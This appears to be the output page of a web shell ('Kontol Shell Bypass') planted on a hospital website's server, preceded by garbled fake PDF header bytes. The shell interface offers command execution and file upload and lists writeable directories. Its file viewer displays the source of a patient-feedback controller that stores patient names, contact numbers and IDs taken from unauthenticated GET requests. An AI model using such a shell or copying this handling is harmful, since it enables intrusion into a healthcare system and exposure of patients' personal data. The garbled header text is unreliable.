%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/pdms/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/pdms/application/controllers/Qrcode.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Qrcode extends CI_Controller {
	function __construct(){
		parent::__construct();
		
		$this->load->model(array('Home_Model'));
		$userData = $this->session->userdata('user_data');
	}
	/*
	* Function : index
	*
	*
	*/
	public function index()
	{
		
		$data = array();
		$header = array();
		$params = array();
		$condition = array();
		$bill_number = trim($_GET['bill_number']);
		$patient_name = trim(str_replace('_',' ',$_GET['patient_name']));
		$department = trim(str_replace('_',' ',$_GET['department']));
		$doctor_name = trim(str_replace('_',' ',$_GET['doctor_name']));
		$contact_number = trim($_GET['contact_number']);
		$UHID = trim($_GET['UHID']);
		$pat_type = trim($_GET['pat_type']);
		$billed_date =  str_replace('/','-',$_GET['billed_date']);
		$billed_date = date('Y-m-d',strtotime($billed_date));
		$params = array();
	    if(trim($pat_type)=='OP'){
			
			$tbl_name = "tbl_pdms_op_patient_info";
			// Get Slag ID 
			$slag_id = $this->getuniquerandomkey($tbl_name, $pat_type);
			$params = array(
			'slag_id'=>$slag_id,
			'bill_number'=> $bill_number,
			'patient_name'=> ucwords($patient_name),
			'department'=> ucwords($department),
			'doctor_name'=> ucwords($doctor_name),
			'contact_number'=> $contact_number,
			'pat_type'=> $pat_type,
			'billed_date'=> $billed_date,
			'feedback_mode'=> '4',
			'UHID'=> $UHID,
			'modifiedon'=> date('Y-m-d H:i:s'),
			'createdon'=> date('Y-m-d H:i:s'));
			// Validation Check
			$condition = array('bill_number'=>$bill_number,'UHID'=>$UHID);
			
		} else {
			$tbl_name = "tbl_pdms_ip_patient_info";
			
			// Get Slag ID 
			$slag_id = $this->getuniquerandomkey($tbl_name, $pat_type);
			$params = array(
			'slag_id'=>$slag_id,
			'ip_number'=> $bill_number,
			'patient_name'=> ucwords($patient_name),
			'department'=> ucwords($department),
			'doctor_name'=> ucwords($doctor_name),
			'contact_number'=> $contact_number,
			'billed_date'=> $billed_date,
			'pat_type'=> $pat_type,
			'feedback_mode'=> '4',
			'UHID'=> $UHID,
			'modifiedon'=> date('Y-m-d H:i:s'),
			'createdon'=> date('Y-m-d H:i:s'));
			// Validation check
			$condition = array('ip_number'=>$bill_number,'UHID'=>$UHID);
		}
		
		$results = $this->Home_Model->getSingleObjRecord($tbl_name, $col = ' * ',$condition);
		
		if($results){
			$resp = $this->Home_Model->updateinfo($tbl_name,array('modifiedon'=>date('Y-m-d H:i:s')), 'id',$results->id );
			$slag_id = $results->slag_id;
		} else {
			
			$resp = $this->Home_Model->saveinfo($tbl_name,$params);
		}
		
		$finalRedirectionUrl = base_url('feedback/'.base64_encode($slag_id));
		redirect($finalRedirectionUrl);
		exit();
	}
	
	/*
	* Function : getuniquerandomkey
	*/
	public function getuniquerandomkey($table_name, $pat_type)
	{
		$leadscount = count($this->Home_Model->getAllRecords($table_name));
		$leadCounts = $leadscount+1;
		$final_number = str_pad($leadCounts, 4, '0', STR_PAD_LEFT); 
		return date('Ymd').$pat_type.$final_number;
		
	}
	
	/*
	* Function : feeback
	*/
	public function feeback()
	{
		$data = array();
		$header = array();
		$record_num = end($this->uri->segment_array());
		$userData = $this->session->userdata('user_data');
		if(empty($userData)) {
			redirect('?msg=error');
		}
		$validate = $this->Home_Model->getSingleRecord('tbl_custompage', '*', array('custom_slug'=>$record_num,'status'=>'1'));
			
		if(empty($validate)) {
			redirect('?msg=error');
		}
		$data['asset_id'] = $record_num;
		if($_POST){
			$params['user_id'] = $userData['id'];
			$params['createdon'] = date('y-m-d H:i:s');
			$params['ip_address'] = $this->get_client_ip();
			$params['assets_id'] = $asset_tag = $_POST['assets_id'];
			$params['changes_required'] = $_POST['changes_required'];
			$params['remarks'] = $_POST['remarks'];
			
			unset($_POST['assets_id']);
			unset($_POST['changes_required']);
			unset($_POST['remarks']);
			unset($_POST['submit']);
			$params['question_array'] = serialize($_POST);
			$response = $this->Home_Model->saveinfo($tbl_name='tbl_pmplan_feedback',$params);
			
			// Save All Transations
			$newparams = array('pmplan_id'=>$response,'user_id'=>$userData['id'], 'assets_id'=>$asset_tag,'createdon'=>date('y-m-d H:i:s'));
			foreach($_POST as $key=>$val){
				$newparams['column_name'] = $key;
				$newparams['column_value'] = $val;
				$this->Home_Model->saveinfo($tbl_name='tbl_pmplan_feedback_records',$newparams);
			}
			
			// Update master pmp date
			$this->Home_Model->updateinfo($tbl_name='tbl_custompage', array('last_pmdate'=>date('Y-m-d')), 'custom_slug', $asset_tag);
			redirect('pmplan/thanks/'.$asset_tag);
		} else {
			// Get Question List 
			$validate = $this->Home_Model->getSingleRecord('tbl_custompage', '*', array('custom_slug'=>$record_num,'status'=>'1'));
			$equipment_type = $validate['equipment_type'];
			$record = $this->Home_Model->getSingleRecord('tbl_assetcategory_master', '*', array('asset_type'=>$equipment_type,'status'=>'1'));
			$daily_checklist = $record['daily_checklist'];
			$monthly_checklist = $record['monthly_checklist'];
			$quaterly_checklist = $record['quaterly_checklist'];
			$category_id = $record['category_id'];
			
			// Get checklist Question Details
			$data['questionArray'] = $this->Home_Model->getAllQuestions(array('tbl_checklist_question.checklist_id'=>$daily_checklist));
			$data['title'] = 'Feedback - PM Checklist';
			$this->load->view('_parts/header',$data);
			$this->load->view('feedback',$data);
			$this->load->view('_parts/footer');
		}
	}
	
	public function thanks()
	{
		$data = array();
		$header = array();
		$record_num = end($this->uri->segment_array());
		$this->logout($record_num);
		$data['asset_id'] = $record_num;
		$this->load->view('_parts/header');
		$this->load->view('thankspm',$data);
		$this->load->view('_parts/footer');
	}
	
	//function for logout
	public function logout($assets_id){
		$this->session->unset_userdata('user_data');
		$this->session->sess_destroy();
		$this->session->set_flashdata('success', 'Successfully logout.');
		setHistory('Logout Successfully');
		return true;
	}

	/*
	* Get Client IP Address
	*/
	function get_client_ip() {
		$ipaddress = '';
		if (isset($_SERVER['HTTP_CLIENT_IP']))
			$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
		else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
			$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
		else if(isset($_SERVER['HTTP_X_FORWARDED']))
			$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
		else if(isset($_SERVER['HTTP_FORWARDED_FOR']))
			$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
		else if(isset($_SERVER['HTTP_FORWARDED']))
			$ipaddress = $_SERVER['HTTP_FORWARDED'];
		else if(isset($_SERVER['REMOTE_ADDR']))
			$ipaddress = $_SERVER['REMOTE_ADDR'];
		else
			$ipaddress = 'UNKNOWN';
		return $ipaddress;
	}
		
	/*
	* Function : viewfeeback
	*/
	public function viewfeeback()
	{
		$data = array();
		$header = array();
		$record_num = end($this->uri->segment_array());
		$validate = $this->Home_Model->getSingleRecord('tbl_custompage', '*', array('custom_slug'=>$record_num,'status'=>'1'));
		if(empty($validate)) {
			redirect('?msg=error');
		}
		
		$row = $this->Home_Model->getSingleRecord('tbl_pmplan_feedback', '*', array('assets_id'=>$validate['custom_slug']));
		
		$data['sd'] = $row;
		$this->load->view('_parts/header');
		$this->load->view('view-feedback',$data);
		$this->load->view('_parts/footer');
		
	}
}	

Kontol Shell Bypass